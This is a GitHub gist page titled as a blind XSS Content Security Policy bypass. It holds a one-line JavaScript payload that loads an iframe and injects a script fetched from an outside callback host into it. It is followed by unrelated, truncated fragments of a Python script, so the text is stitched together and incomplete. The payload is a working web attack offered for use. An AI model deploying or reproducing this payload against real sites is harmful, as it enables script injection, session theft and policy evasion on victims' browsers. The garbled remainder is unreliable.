Skip to content

Instantly share code, notes, and snippets.

View nutronex's full-sized avatar

myo ko ko nutronex

View GitHub Profile
@nutronex
nutronex / gist:c90d62ed08fb4018262fe537fad43a9f
Created September 4, 2018 06:00 — forked from Rhynorater/gist:311cf3981fda8303d65c27316e69209f
BXSS - CSP Bypass with Inline and Eval
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://rhy.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
if __name__ == '__main__':
import sys
import mp4
import argparse
def write_file(path, content):
with open(path, 'wb') as f:
f.write(content)
def addr(sval):